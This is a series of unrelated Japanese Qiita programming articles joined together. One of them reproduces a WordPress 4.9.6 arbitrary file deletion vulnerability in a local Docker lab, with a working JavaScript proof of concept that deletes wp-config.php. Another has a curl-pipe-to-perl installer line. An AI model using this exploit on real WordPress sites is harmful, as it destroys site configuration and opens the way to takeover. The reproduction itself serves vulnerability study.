* [Qiita Tag:ズンドコキヨシ](https://qiita.com/tags/%E3%82%BA%E3%83%B3%E3%83%89%E3%82%B3%E3%82%AD%E3%83%A8%E3%82%B7)
* [ズンドコキヨシをLINQでゴリ押してみる](4432a08c72e05bcbd414)
* [1行で書く『「ズン」「ドコ」のいずれかをランダムで出力し続けて「ズン」「ズン」「ズン」「ズン」「ドコ」の配列が出たら「キ・ヨ・シ！」って出力した後終了』](4733857340fe6ccf6c3f)
* [自分なりのズンドコキヨシを書いてみることにした。](bb8640fe8ccea5c5a6cb)

##特徴

* 表題通り逐次出力。<br>「ズン」「ドコ」のどちらになるか確定するたびにコンソール出力を実行。つまりToArrayやStringBuilderは使えない。
* ソースデータとして円周率の文字列を使用。<br>乱数作るのめんどくさいから。
* マッチング判定には履歴バッファを使用。<br>LINQで書こうとすると一番めんどくさい箇所なので楽な方法に逃げた。<br>こうした方がわかりやすい流れになるし、実行効率もよかったりする。
* たぶん比較的わかりやすいコード<br>あまり特筆できることがないので円周率持ち出した

```csharp:逐次出力ズンドコ
static void Main(string[] args)
{
  var matchingSequence = new[] { "ZUN", "ZUN", "ZUN", "ZUN", "DOKO" };
  var historyBuffer = new Queue<string>();

  "3.1415926535 8979323846 2643383279 5028841971 6939937510 5820974944 5923078164 0628620899 8628034825 3421170679"//ソース文字列(円周率)
    .Where(c => char.IsDigit(c))  //数字以外の文字を除外
    .Select(degit => "02468".Contains(degit) ? "ZUN" : "DOKO")  //偶数ならZUN、奇数ならDOKO
    .All(word =>
    {
      Console.Write(word + " ");//単語を出力

      historyBuffer.Enqueue(word);//履歴に追加
      while (historyBuffer.Count > matchingSequence.Length)
      { historyBuffer.Dequeue(); }//古い履歴を捨てる(判定に必要なのは直近5ワードのみ)

      if (historyBuffer.SequenceEqual(matchingSequence))
      {//ZUN ZUN ZUN ZUN DOKO なら
        Console.WriteLine("KI・YO・SHI!!");//KI・YO・SHI!!と叫んで改行
        return false;//ここをコメントアウトするとデータが尽きるまでズンドコ言い続ける
      }
      return true;
    });
}
```

##結果

小数点以下100桁の円周率をソース文字列にして「KI・YO・SHI!!」の後も中断せず最後まで実行すると、四回「KI・YO・SHI!!」と言ってくれました。:wink:
KINGJIM PORTABOOK(xmc10)にUbuntuをインストールする際の注意

![image.png](https://qiita-image-store.s3.amazonaws.com/0/102207/a4198959-f9b4-9967-bf28-5216327a4dbd.png)

#BiosからブータブルUSBが認識しない場合
USBに焼くツールは「unetbootin」「Universal-USB-Installer」など何でも構いませんが、注意が必要です。
**XMC10のAptio Biosは64bitのUEFIしか対応していません。**
ですから、Ubuntuの32bitのブータブルUSBを作っても認識しないのです。

32bitだと何度Biosから「Boot Override」を押しても、F2キーでブートメディアを選択しても一瞬でBios画面に戻ったり、Win10が「ようこそ」してしまいます。
これに気がつくまで2日間、新しくUSBフラッシュメモリを買い替えたり、何度も何度もブータブルUSBを焼き直しました。

私は単にWine環境が32bitでしかまともに動作しないのが嫌なのでOSごと32bitにしたかっただけです。Wine環境を32bit構成で設定すれば済むので余計な苦労だったかもしれません。

#SDカードへのインストールはオススメしない
できる人はできるのかもしれませんが、私の技量ではインストール後「GRUB Shell」が起動するだけでSDのUEFIを認識してくれませんでした。
<font color=blue>↓こういうやつ</font>
![image.png](https://qiita-image-store.s3.amazonaws.com/0/102207/9af3e0ab-8986-0eeb-685c-8409b45d3877.png)

ですのでWindows10は削除するほうが無難です。
もとに戻したい場合はWindows10(64bit)のインストールUSBを作れば問題ないので、失敗を恐れずにやったほうがいいです。
<font color=red>あくまでも自己責任ですよ</font>

あとは当然ながら失敗するとUEFIのリストにゴミが残ります。(なぜか2個できます)
面倒ですが手動で削除してあげて下さい。

ちなみにLinux MINTでも同様にGrubのインストールに失敗し上記のような画面になります。
Grubを32bitでインストールしているのかも？

#参考サイト
[【XMC10】Ubuntu17.10を入れてみた。- ガジェット好きの日記](https://mongonta.blog.fc2.com/blog-entry-256.html)
[キングジム XMC10 の簡単なレビューと Debian インストール - Plamo Linux 日記](https://blog.goo.ne.jp/toshi-mtk/e/7a0d4419d3f0fe17381f0525e2b364b2)
[Ubuntu on PORTABOOK (その1) - おはよう君需要なし](http://nodemand.hatenablog.com/entry/2016/12/09/185829)
emacsでスクロールで上下移動できるようにする

# 目標

上下スクロールでページアップ、ダウンを行う！

# .emacs

以下を追加でオッケー

```emacs-lisp:.emacs
(unless window-system
  (require 'mouse)
  (xterm-mouse-mode t)
  (global-set-key [mouse-4] (lambda ()
                              (interactive)
                              (scroll-down 1)))
  (global-set-key [mouse-5] (lambda ()
                              (interactive)
                              (scroll-up 1)))
  (defun track-mouse (e))
  (setq mouse-sel-mode t)
)
```
タグ付け機能をtag-it.jsを使って導入する

#はじめに
タグ付けの機能がほしいと思いググると、便利なjqueryプラグインがありました。

[github (Tag-it)](https://github.com/aehlke/tag-it/blob/master/README.markdown)

##導入方法
ダウンロードして、jsとcssをコピー(jsはminがついている方だけで大丈夫です。)

・埋め込むjs
jquery.min.js
jquery-ui.min.js
tag-it.min.js

・埋め込むcss
jquery-ui.css
jquery.tagit.css

・表示したい箇所にulタグを追加し、tagitを呼び出せば完成

```html:sample
<ul id="myTags">
</ul>

<script type="text/javascript">
    $(document).ready(function() {
        $("#myTags").tagit();
    });
</script>
```

##困った点
jqueryのバージョンが3.2.1を使用してると、コンソールエラーが出て動作しませんでした。
https://code.jquery.com/jquery-migrate-3.0.0.min.js
を追加すると、問題なく動作しました。

##そのほかの使い方
・タグ付けして投稿→登録済みのタグを表示したい場合

```html:sample
<ul id="myTags">
    <li>前回登録したタグ1</li>
    <li>前回登録したタグ2</li>
</ul>
```

・登録できるタグに上限を持たせたい場合

```javascript:sample
$(document).ready(function() {
    $('#myTags').tagit({tagLimit:5});
});
```
PrestoのArray, Mapの使い方調査

#arrayを出力
```sql 
select array['a','b','c','d','e']
```
```txt:出力
List [ "a", "b", "c", "d", "e" ]
```

#複数のarrayをmapに変換する
```sql
select map(array['a', 'b', 'c', 'd', 'e'], array[1, 2, 3, 4, 5]) as map
```
```txt:出力
Map { "a": 1, "b": 2, "c": 3, "d": 4, "e": 5 }
```

#mapを表形式に変換
```sql
select 
  key, 
  value 
from
  (select map(array['a', 'b', 'c', 'd', 'e'], array[1, 2, 3, 4, 5]) as map1) as t1 
cross join unnest(t1.map1) as t(key, value)
```
```txt:出力
key	value
a	1
b	2
c	3
d	4
e	5
```

#表形式のものをmapに変換
```sql
select 
  map(key, value) 
from
  (
  select 
    1, array_agg(key) as key, array_agg(value) as value 
  from 
    (values('a', 1), ('b', 2), ('c', 3), ('d', 4), ('e', 5)) as t(key, value)
  group by 1
  )
```
```txt:出力
Map { "a": 1, "b": 2, "c": 3, "d": 4, "e": 5 }
```

# mapをjsonに変換
単純にcastするだけ

```sql
select 
  cast(map(key, value) as json) 
from
  (
  select 
    1, array_agg(key) as key, array_agg(value) as value 
  from 
    (values('a', 1), ('b', 2), ('c', 3), ('d', 4), ('e', 5)) as t(key, value)
  group by 1
  )
```
```txt:出力
{"a":1,"b":2,"c":3,"d":4,"e":5}
```
SORACOM Beam の HTTP リクエストヘッダー情報を Flow/Logic Apps で扱う方法

# はじめに
最近 [SORACOM Beam](https://soracom.jp/services/beam/) と [Microsoft Flow](https://japan.flow.microsoft.com/ja-jp/) / [Azure Logic Apps](https://azure.microsoft.com/ja-jp/services/logic-apps/) で遊びまくってる @ko2a です。

SORACOM Beam の設定オプションとして、デバイスの [IMSI](https://ja.wikipedia.org/wiki/International_Mobile_Subscriber_Identity) と [IMEI](https://ja.wikipedia.org/wiki/International_Mobile_Equipment_Identity) を HTTP リクエストヘッダーへ付与する / しないを設定できるのですが、この情報を Microsoft Flow / Azure Logic Apps のアクションで使用する方法を備忘録としてまとめます。

これによって、デバイス側でわざわざ IMSI / IMEI を取得する手間がなくなり、またデータ量も（微々たるものではありますが）削減することができます。

# 検証機材 / 環境
* [Wio LTE JP Version](https://soracom.jp/products/module/wio_lte/)
* [SORACOM 日本向け Air SIM (plan-D)](https://soracom.jp/products/sim/plan-d/)
* Azure Logic Apps (東日本)

# 検証構成
Wio LTE から SORACOM Beam へデータを送信し、SORACOM Beam を Azure Logic Apps のトリガーとして起動して Microsoft Teams へデータを POST して結果を確認します。
![BeamReqHeader003.png](https://qiita-image-store.s3.amazonaws.com/0/49240/e8a517f5-efdb-67d6-534e-641da261ff75.png)

Logic Apps のフローは以下となります。
![BeamReqHeader002.png](https://qiita-image-store.s3.amazonaws.com/0/49240/391b2eef-a1aa-8e19-af57-194edff49e3a.png)
今回はアクションの ［Message］を操作していきます。

なお、今回使用したデバイスの処理には、JSON メッセージ内にも IMSI と IMEI を埋め込んで送っていますが、今回はこちらを使用せず、 HTTP リクエストヘッダーの値を参照します。

# SORACOM Beam の設定
ヘッダ操作の［IMSI ヘッダ］［IMEI ヘッダ］を ON に設定します。
![BeamReqHeader001.png](https://qiita-image-store.s3.amazonaws.com/0/49240/e679ad70-f397-c322-be13-b5d92dd8f8e5.png)

# Flow / Logic Apps の設定
### トリガーのすべての情報を取得
トリガーの出力情報をすべて取得する場合は、 **triggerOutputs()** を使用します。

```js:expression
triggerOutputs()
```

![BeamReqHeader004.png](https://qiita-image-store.s3.amazonaws.com/0/49240/57c09599-306c-8a9e-570b-b95f14076a63.png)

出力結果は以下となります。

![BeamReqHeader005.png](https://qiita-image-store.s3.amazonaws.com/0/49240/156bbee9-02bc-edcc-d769-91fe69c23dd3.png)

headers や body の中身も丸見えです。
User-Agent や Content-Type も確認できます。

### IMSI / IMEI の取得
HTTP リクエストヘッダーの情報は **triggerOutputs()** で取得できることがわかったので、後は対象の情報を選択するだけで OK です。

```js:expression
concat('IMEI:', triggerOutputs()['headers']?['x-soracom-imei'], ' IMSI:', triggerOutputs()['headers']?['x-soracom-imsi'])
```

![BeamReqHeader006.png](https://qiita-image-store.s3.amazonaws.com/0/49240/8928248f-00c7-994f-e919-137cc4ebf8b2.png)

この例では、 concat() で IMSI / IMEI を連結して Teams へ POST しています。

![BeamReqHeader007.png](https://qiita-image-store.s3.amazonaws.com/0/49240/57f36d17-9094-f7d2-2b8f-3f125dfa10a2.png)

# おわりに
[昨年の Advent Calendar の IFTTT 連携](https://qiita.com/ko2a/items/f0da03e739b6154d6733) の際、Beam のヘッダーで載せれるんだから使えたらいいのに・・・と思っていたのですが、 Microsoft Flow / Azure Logic Apps だとちょこっといじって取得でいきるのはありがいたいですね。

またデバイス側であれこれいじらなくても、必要に応じてユーザーコンソールで設定を変えれるので、デバイス側の処理を手入れなくて済むのも結構ありがたいことですね。

# 参考資料
[Azure Logic Apps : Get HTTP Request Header Key Value into Conditional Check](https://stackoverflow.com/questions/50238995/azure-logic-apps-get-http-request-header-key-value-into-conditional-check)
[Parse headers returned from http action? ](https://powerusers.microsoft.com/t5/Building-Flows/Parse-headers-returned-from-http-action/td-p/65035)
WordPress 4.9.6の脆弱性を再現確認してみた

[WARNING: WordPress File Delete to Code Execution](https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/)
で、動画付きで解説されている話

多分、
『editattachmentアクションの時のthumbパラメータがユーザー入力だけど、ノーチェックでidと結びつくようになってるので、結びつけてやれば、wordpressアプリの権限で触れるところ任意で削除出来るので、wp-config.phpとか削除するとwordpress初期化出来る。
投稿者権限以上でログイン出来るユーザーが攻撃者になりうる。』
って書いてある

# 環境構築
docker hubのwordpressのものを参考にdocker-compose.ymlを作成

- https://hub.docker.com/_/wordpress/

```docker
version: '3.1'

services:

  wordpress:
    image: wordpress:4.9.6
    ports:
      - 9000:80
    environment:
      WORDPRESS_DB_PASSWORD: パスワード

  mysql:
    image: mysql:5.7
    environment:
      MYSQL_ROOT_PASSWORD: パスワード
```

起動

```shell
docker-compose up
```

1. ブラウザで、localhost:9000にアクセスして、wordpressをセットアップ
2. セットアップが完了したら、投稿者権限の新規ユーザーを追加
3. 追加した、投稿者権限のユーザーでログイン

![スクリーンショット 2018-07-12 16.53.30.png](https://qiita-image-store.s3.amazonaws.com/0/23194/688100aa-a3e1-af2e-da21-1b53f24f9383.png)

# 再現確認

- PoCは、exploit-dbにあったものを少し変更して拝借
 - [Wordpress < 4.9.6 - (Authenticated) Arbitrary File Deletion](https://www.exploit-db.com/exploits/44949/)

メディアから新規追加で、画像を追加（この時、ファイル名に日本語を含まないファイルをアップロードする事）

![スクリーンショット 2018-07-12 16.54.15.png](https://qiita-image-store.s3.amazonaws.com/0/23194/6bf8f73b-b3bb-4b77-d76d-d818f09425aa.png)

メディアの編集画面で、ブラウザの開発者ツールを立ち上げ、コンソールにスクリプトを流す
![スクリーンショット 2018-07-12 16.58.34.png](https://qiita-image-store.s3.amazonaws.com/0/23194/219db66c-7395-3b55-785b-3b1253ca059b.png)


```js
var nonce = document.getElementById("_wpnonce").value
var id =  document.location.search.match(/post=(\d+)/)[1]
var data = "action=editattachment&_wpnonce=" + nonce + "&thumb=../../../../wp-config.php"

var xhr = new XMLHttpRequest()
xhr.open("POST", "/wp-admin/post.php?post=" + id)
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
xhr.onreadystatechange = function() {
  var READYSTATE_COMPLETED = 4

  if (this.readyState == READYSTATE_COMPLETED) {
   var nonce = document.getElementsByClassName("submitdelete deletion")[0].getAttribute("href").match(/_wpnonce=(.*)/)[1]
   var data = "action=delete&_wpnonce=" + nonce

   var xhr = new XMLHttpRequest()
   xhr.open("POST", "/wp-admin/post.php?post=" + id)
   xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
   xhr.send(data)
  }
}
xhr.send(data)
```

あとは、ブラウザ上で適当に遷移すれば、セットアップの最初の画面が出る
![スクリーンショット 2018-07-12 17.06.04.png](https://qiita-image-store.s3.amazonaws.com/0/23194/c0f084e8-593d-41d1-69c5-397e4987620f.png)

# ファイル名に日本語を含まないファイルをアップロードする件
今回の構築環境のせいなのか、ファイルを削除すると変な状態にはなるものの、wp-config.phpが消えずにハマった

## 変な状態
以下のように(タイトルなし)というものが表示されるようになるし、wordpressの初期画面出ない
サーバーに入ると、ファイルも残っており消えてなさそう
![スクリーンショット 2018-07-12 16.56.54.png](https://qiita-image-store.s3.amazonaws.com/0/23194/135eec1d-07a7-137e-5002-5e77a082fdd4.png)

# 結論
手軽に初期化が出来るものの、投稿者権限以上でログインしないといけないので、運用体制次第ですが、そこまで脅威ではなさそうな気がします。
とはいえ、アップデートすれば治るものですし、必ずアップデートをしましょう。
Electronのインストールが長引く場合の対処

# Electronのインストールが長引く場合の対処

Node.jsのpackage.jsonにelectronがあり、```npm install```または```yarn install```コマンドでパッケージをインストールするとき、固まった状態になってインストールが終わらない場合があります。

そのようなときは、```yarn install```ではなく```npm install```のほうが進捗状況がわかります。```npm install```で「electron-xxx.zip」のダウンロードで止まっていることが分かった場合、次の手順で対処します。

1. 一旦、```npm install``` を強制終了（[Ctrl]+[C]等）させる
2. ```cd C:\Users\<ユーザ名>\.electron```を実行
3. 「[Electron > Release](https://github.com/electron/electron/releases)」で次のファイルのリンク先を調べる
   - electron-xxx.zip
   - SHASUMS256.txt
4. ```wget --continue <リンク先>```で上のファイルをダウンロード
   - ダウンロードが固まった場合は、[Ctrl]+[C]で強制終了させて```wget --continue <リンク先>```を繰り返す
5. 「SHASUMS256.txt」を次のようなファイル名に変更
   - 「SHASUMS256.txt-2.0.4」（Electron v2.0.4の場合）

以上で、Electronのダウンロードができたら、再度```npm install```でトライしてみましょう。

##関連記事
- [Electronでnode install.jsが終わらないとき](https://www.nyarn.tech/entry/2017/07/07/192408)
React勉強中_メモ

覚書です。

##構文

###class なんとか extends Component

classコンポーネント

```
class なんとか extends Component {
 constructor(props){
  super(props);
  this.state = {//このクラスに設定する値 名前固定
　　　キー：null　//初期値なければnullを入れとく
　　};
 }
　メソッド(){
　//任意のメソッド
  this.setState({キー：新しい値});//stateを更新する際は.setState()
 }
 render(){//クラスで書きだすものはrenderメソッドにセットする
  return(
   <コンポーネント></コンポーネント>
　 <コンポーネント 任意の属性={this.state.キー}>
   </コンポーネント>
  )
 }
}
```

###props

```
class TestPage extends Component {
 constructor(props){
  super(props);
  this.state = {comment:'初期値'};
 }

 render(){
  return(
   <Test testprops={this.state.comment} />
  )
 }
}

const Test = (props) => {
 return(
  <div>{`Testコンポーネントのpropsは「${props.testprops}」です`}</div>
 );
}
```
<コンポーネント props1の名前={props1の値} props2の名前={props2の値} />

props.props1の名前　って感じで呼び出せる




##エラー / ESLint

###'なんちゃら' is defined but never used  no-unused-vars

 変数'なんちゃら'を定義してるけどそれ使ってないよ
 引数もひっかかる


###'パラメータ名' is missing in props validation  react/prop-types

パラメータ（プロパティ？props？何が何だか）のバリデーションしてね
（下記コード参照）
してるよ！！！！と思ったらタイプミスしてた…

```
コンポーネント.propTypes = {
　パラメータ名:PropTypes.型,
　パラメータ名:PropTypes.型.isRequired//パラメータが必須の場合
};
```
型の種類

- PropTypes.array　//配列
- PropTypes.bool　//論理値
- PropTypes.func　//関数
- PropTypes.number　//数値
- PropTypes.object　//オブジェクト
- PropTypes.string　//文字列
Vue / Typescriptの環境構築

## 環境
windows10
node 10.6
vue 2.5.2
webpack 3.6

## Vueテンプレートを作る

```
npm install -g vue-cli

vue init webpack sample-project
```

## typescript、ts-loaderを追加

```package.json
    "ts-loader": "^2.3.7",
    "typescript": "^2.9.2",
```

## テンプレート完成
```
cd sample-project

npm install
```

## webpack.base.conf.jsの修正
```/build/webpack.base.conf.js
module.exports = {
  context: path.resolve(__dirname, '../'),
  entry: {
    app: './src/main.ts'  // ★main.js→main.ts
  },
  output: {
    path: config.build.assetsRoot,
    filename: '[name].js',
    publicPath: process.env.NODE_ENV === 'production'
      ? config.build.assetsPublicPath
      : config.dev.assetsPublicPath
  },
  resolve: {
    extensions: ['.js', '.vue', '.json', '.ts'],// ★tsを追加
    alias: {
      'vue$': 'vue/dist/vue.esm.js',
      '@': resolve('src'),
    }
  },
  module: {
    rules: [
      {
        test: /\.vue$/,
        loader: 'vue-loader',
        options: vueLoaderConfig
      },
      {
        test: /\.js$/,
        loader: 'babel-loader',
        include: [resolve('src'), resolve('test'), resolve('node_modules/webpack-dev-server/client')]
      },
      {//★ts-loaderを追加
        test: /\.ts$/,
        loader: 'ts-loader',
        options: {
          appendTsSuffixTo: [/\.vue$/]
        }
      },
以下省略
```
## tsconfig.jsonを追加
```/tsconfig.json
{
  "compilerOptions": {
    "module": "es2015",
    "target": "es5",
    "sourceMap": true,
    "allowSyntheticDefaultImports": true,
    "moduleResolution": "node",
    "noImplicitThis": true
  },
  "include": [
    "./src/**/*.ts"
  ],
  "exclude": [
    "node_modules"
  ]
}
```

## vueファイルを修正
```/src/components/HelloWorld.vue
<script lang="ts"> //★lang="ts"を追加
```

```/src/App.vue
<script lang="ts"> //★lang="ts"を追加
```

## vueファイルを読み込むためのsfc.d.tsを追加
```/src/sfc.d.ts
declare module "*.vue" {
  import Vue from 'vue'
  export default Vue
}
```

## VueをExtendsする
```/src/components/HelloWorld.vue
<script lang="ts">
import Vue from 'vue';
export default Vue.extend({
  name: 'HelloWorld',
  data () {
    return {
      msg: 'Welcome to Your Vue.js App'
    }
  }
})
</script>
```

## アプリケーション起動で完成
```
npm run dev
```
![image.png](https://qiita-image-store.s3.amazonaws.com/0/145645/481cf9bc-917a-5eb0-ec23-d3456ae03cf2.png)
PrivateSubnetからApacheを用いてnodeを動かす

## やりたいこと
超ざっくりした画像ですが、やりたいこととしては、
・ Apacheをリバースプロキシとして80番で待ち受けて3000番のNodeを動かしたい

AWSのEC2インスタンスを作成してプライベートサブネット間で疎通確認ができている状態からスタートします。

メモとして残しますが、何かあればコメントお願いします。

<img width="764" alt="スクリーンショット 2018-07-12 17.08.52.png" src="https://qiita-image-store.s3.amazonaws.com/0/186277/bd41aa52-6e83-84da-c1e2-fff680e61ee2.png">

## Apacheのインストール

```bash
sudo yum -y install httpd
sudo service httpd start
```

### 基本的なコマンドたち

```bash
// Apacheを起動する
$ service httpd start
// Apacheを停止する
$ service httpd stop
// Apacheを再起動する
$ service httpd restart
```

### バージョンの確認

```bash
$ httpd -v
Server version: Apache/2.4.33 ()
```

#### メモ
sudo つけないと怒られる
`The name org.freedesktop.PolicyKit1 was not provided by any .service files`

## nodebrewのインストール
nodebrewをインストールすると、nodeのバージョンを簡単に切り替えられる

```bash
curl -L git.io/nodebrew | perl - setup
export PATH=$HOME/.nodebrew/current/bin:$PATH
source ~/.bashrc
```

## nodeのインストール

```bash
nodebrew install stable
nodebrew use stable
node -v
```

## npmのインストール
Node Package Managerのこと
予め用意された便利な機能をまとめたもの。

```bash
sudo yum install npm
npm -v
```

## expressのインストール
> Express は、Web アプリケーションとモバイル・アプリケーション向けの一連の堅固な機能を提供する最小限で柔軟な Node.js Web アプリケーション・フレームワークです。
> 無数の HTTP ユーティリティー・メソッドとミドルウェアを自由に使用できるため、堅固な API を迅速かつ容易に作成できます。
> Express は、ユーザーが使い慣れている Node.js の機能をわかりやすくし、基礎的な Web アプリケーション機能をシンプルな階層で提供します。

http://expressjs.com/ja/ より

```bash
$ npm install express --save
```

### ハマった
インストールできなかった😓

```bash
npm WARN saveError ENOENT: no such file or directory, open '/home/ec2-user/package.json'
npm WARN enoent ENOENT: no such file or directory, open '/home/ec2-user/package.json'
npm WARN ec2-user No description
npm WARN ec2-user No repository field.
npm WARN ec2-user No README data
npm WARN ec2-user No license field.
```

### npm initしないといけないみたい
npm initはprojectの初期設定を行うためのcommand
実行すると対話形式で項目を入力して、package.jsonを作成する。

```bash
npm init
```
参考:https://qiita.com/sinmetal/items/395edf1d195382cfd8bc

これで再度 expressのインストールを行う
WARN出たらこちらを参考にする：https://helen.hatenablog.com/entry/2016/05/22/003057

### 成功
```bash
npm install express --save
+ express@4.16.3
updated 1 package and audited 119 packages in 3.162s
found 0 vulnerabilities
```

## apacheからnodeへproxyする

```bash
$ sudo vi /etc/httpd/conf/httpd.conf
```

```httpd.conf
<IfModule mod_proxy.c>
    ProxyPass / http:// {IP} :3000
    ProxyPassReverse / http:// {IP} :3000
</IfModule>
```

設定を反映

```bash
$ service httpd restart
```

### nodeを起動

```bash
$ node /var/www/node/app.js
Example app listening on port 3000!
```

3000番ではなく80番で問い合わせてみる

```bash
$ curl http://XXX.XXX.X.XX:80
// ちゃんと帰って来ることを確認
Hello World!
```

3000番では帰ってこないことを確認

```bash
$ curl http://XXX.XXX.X.XX:3000
```

### END🚀
chrony の IPv4 を無効にする

#net/chrony の IPv4 無しの環境構築
/usr/local/etc/chrony.conf の標準設定では、IPv4 が listen しているが、**あ・え・て** listen させないようにする。

```txt:/usr/local/etc/chrony.conf
bindcmdaddress 255.255.255.255
```

#書き換えたらデーモンの再起動

```txt:再起動前（標準設定）
# sockstat -4
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
chronyd  chronyd    ?     5  udp4   127.0.0.1:323         *:*
```

```txt:再起動後（書き換え後）
# sockstat -4
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
```
GASでスプレッドシートにズンドコキヨシを出力する

## **ズンドコキヨシ**

ここ数日、「ズンドコキヨシ」の投稿が何件かあったので、
休憩がてらに作成してみました。

[ズンドコキヨシをLINQでゴリ押してみる](https://qiita.com/urahito_solution/items/4432a08c72e05bcbd414)
[1行で書く『「ズン」「ドコ」のいずれかをランダムで出力し続けて「ズン」「ズン」「ズン」「ズン」「ドコ」の配列が出たら「キ・ヨ・シ！」って出力した後終了』](https://qiita.com/sanonosa/items/4733857340fe6ccf6c3f)

元ネタはこちら
<blockquote class="twitter-tweet" data-lang="ja"><p lang="ja" dir="ltr">Javaの講義、試験が「自作関数を作り記述しなさい」って問題だったから<br>「ズン」「ドコ」のいずれかをランダムで出力し続けて「ズン」「ズン」「ズン」「ズン」「ドコ」の配列が出たら「キ・ヨ・シ！」って出力した後終了って関数作ったら満点で単位貰ってた</p>&mdash; てくも (@kumiromilk) <a href="https://twitter.com/kumiromilk/status/707437861881180160?ref_src=twsrc%5Etfw">2016年3月9日</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


## 実行結果
![cap_01.png](https://qiita-image-store.s3.amazonaws.com/0/188620/727effad-7053-7669-03bd-a2a443f19129.png)

![cap_02.png](https://qiita-image-store.s3.amazonaws.com/0/188620/ee31306f-0c18-408a-cb80-7b4be46325e5.png)


## 実装
```javascript:kiyoshi.gs

function doKiyoshi() {
  //キヨシ定数
  const kiyoshi = "KI・YO・SHI !!";
  //ズンドコ定数配列
  const zundoko = ["ZUN","DOKO"];

  var sheet = new PushSheet();//シート操作
  var queue = new Queue();//出力履歴保持用キュー
  
  //使い切ることはないと思うが、一応上限を設定しておく
  for(var i=1;i<=1000;i++){
    var index = Math.floor(Math.random()*10)% 2;
    queue.enqueue(index);
    sheet.pushSheet(zundoko[index]);
    
    //ズンドコキヨシチェック
    if(queue.kiyoshi())break;
  }
  sheet.pushSheet(kiyoshi);
  sheet.kiyoshiColor("");
}
```

``` javascript:Queue.gs

//要素の上限が5のキュー
function Queue() {
  this.__queue = new Array();
}
//エンキュー
Queue.prototype.enqueue = function(o) {
  this.__queue.push(o);
  if(this.__queue.length> 5)this.dequeue();
}
//デキュー
Queue.prototype.dequeue = function() {
	if( this.__queue.length > 0 ) {
		return this.__queue.shift();
	}
	return null;
}

//ズン(0)、ズン(0)、ズン(0)、ズン(0)、ドコ(1)しているかチェック
Queue.prototype.kiyoshi = function() {
  if( this.__queue.length < 5) {
	return false;
  }
  return this.__queue.join().equals("0,0,0,0,1");
}

```

``` javascript:PushSheet.gs
//シート操作
function PushSheet() {
  this.__sheet = SpreadsheetApp.getActiveSpreadsheet().getActiveSheet();
  this.__sheet.clear();
  this.__lastRow = this.__sheet.getLastRow();
}
//最後の行に文字を挿入
PushSheet.prototype.pushSheet = function(o) {
  this.__sheet.getRange(this.__lastRow+1, 1).setValue(o);
  this.__lastRow = this.__lastRow + 1;
}
//文字色の設定、文字サイズ変更、太文字に変更して最後の行付近にフォーカスを合わせる
PushSheet.prototype.kiyoshiColor = function(o){
  var range = this.__sheet.getRange(this.__lastRow -5, 1, 6)
                          .setBackground(o)
                          .setFontSize(20)
                          .setFontWeight("bold");

  this.__sheet.setActiveRange(this.__sheet.getRange(this.__lastRow+5, 1));
}
//初期化
PushSheet.prototype.clear = function(o) {
  this.__sheet.clear();
}
```

ボタンの設置はこの記事あたりを参考にしてください。
[Spreadsheet GAS 入門 「マクロを図形に割り当てる」](https://qiita.com/yusk24/items/d1b5a403c90e73d8f01c)

## 実装の解説
- ズンドコ履歴をどうやって保持させるか迷ったので、なんとなく思い浮かんだキューっぽいものを作って保持することにした。
- ズンドコをシートへ出力する処理をループ内に書いているので重くなるかと思ったが、そこまでループしないのであまり気にはならない。
- doKiyoshi関数がごちゃごちゃするのが嫌だったので、シート操作は外出にした。
- 最初はスプレッドシートのアドオンにしようかと思ったが、思いの外手間がかかりそうだったの断念。

## まとめ
くだらないものを書いているときが一番楽しい。
サーバ上で文字化けしたファイルを削除する方法

サーバ上のファイルが文字化けしてしまって削除できなくなってしまった際の備忘録

##Filezilla編
・「サイトマネージャ」→「エントリを選択」で文字化けファイルのあるホストを選択
・タブメニュー「文字コード」を開いて「UTF-8を強制」を選択した状態で接続
（デフォルトは「自動検出」）
・ファイル名がエンコードされているので、対象ファイルをリネームor削除する
Alibaba CloudのECSに関する整理


# はじめに

　Alibaba Cloudの仮想コンピューティングサービスはECSと呼びますが、AWSのコンテナサービスもECSと呼んでいるので、わずらわしいです。AWSのEC2と似ってはいますが、違うところも少なくありません。最近Alibaba CloudのECSを弄り始めましたので、気になるところをここに整理します。
　随時追加/更新する予定です。

# Alibaba CloudのECS

利用OS: Aliyun Linux
※ LinuxベースのAlibaba Cloudカスタマイズ版

| No | 項目 | 内容 | 備考 |
| :--- | :--- | :--- | :--- |
| 1 | 課金方式 | 従量課金/サブスクリプション |サブスクリプションの場合、リソースは契約期間中にずっと占有される、停止はできるが、リリースはできない|
| 2 |　　ログインユーザー | root |rootユーザーの利用は避けたほうがいいので、役割ごとにuserを作成すること(個人を特定できるのがベストだが、運用コストは要考慮)
| 3 | ログイン方式 | PW/鍵認証 |1: PW/鍵認証の設定はインスタンス作成後も可能<br>　※ インスタンス再起動後、上書き方式で反映<br>2: 1 Key / instance<br>　※ キーの共有はセキュリティー上問題あり、要注意<br>　※ ユーザ/役割ごとのPWで運用にしたほうがいいかも 
| 4 | TimeZone | CST(中国標準時間) |必要に応じて、JSTに変更|
| 5 | グローバルIP | インターネット IP / Elastic IP |1: インターネット IPはインスタンス作成時、インターネット接続を選択した場合に付与されるもの、「停止→起動」で変更される<br>※都度変更されるわけではないが、<font color="red">(ここからは推測)おそらくインスタンス停止中、インターネットIPが再利用/リリースされたら、次回起動時に変更される</font>|
| 6 | プライベート IP | -  | インスタンス停止時変更可能|

# 最後

　AWSを慣れた方はすんなりAlibaba Cloudを始められそうですが、AWSと同じと思い込んで使っていたら、ハマりそうかもしれません。
FlowのStage数を増やして実行してみた

この記事は「[fukuoka.ex x ザキ研 Advent Calendar 2017](https://adventar.org/calendars/2873)」24日目です。

昨日は @Takeshi-Kogu さんの[「モジュールをファイルに書き込んでみる(後半)」](https://qiita.com/Takeshi-Kogu/items/b8147db8f7a9297353cf)でした。

## はじめに
前回までに，
- [「Elixirで一千万行のJSONデータで遊んでみた」](https://qiita.com/zumin/items/d27cdcf66807f57a6cec) 
- [「Elixirで一千万行のJSONデータで遊んでみた #2」](https://qiita.com/zumin/items/94bee4392e3541371887#_reference-a15595d2bb53affde91f) 
という記事を書きました。

そこで， `Flow.from_enumerables` に渡すStage数増やしたらどれくらい変わるのだろう？ という疑問が生まれました。　

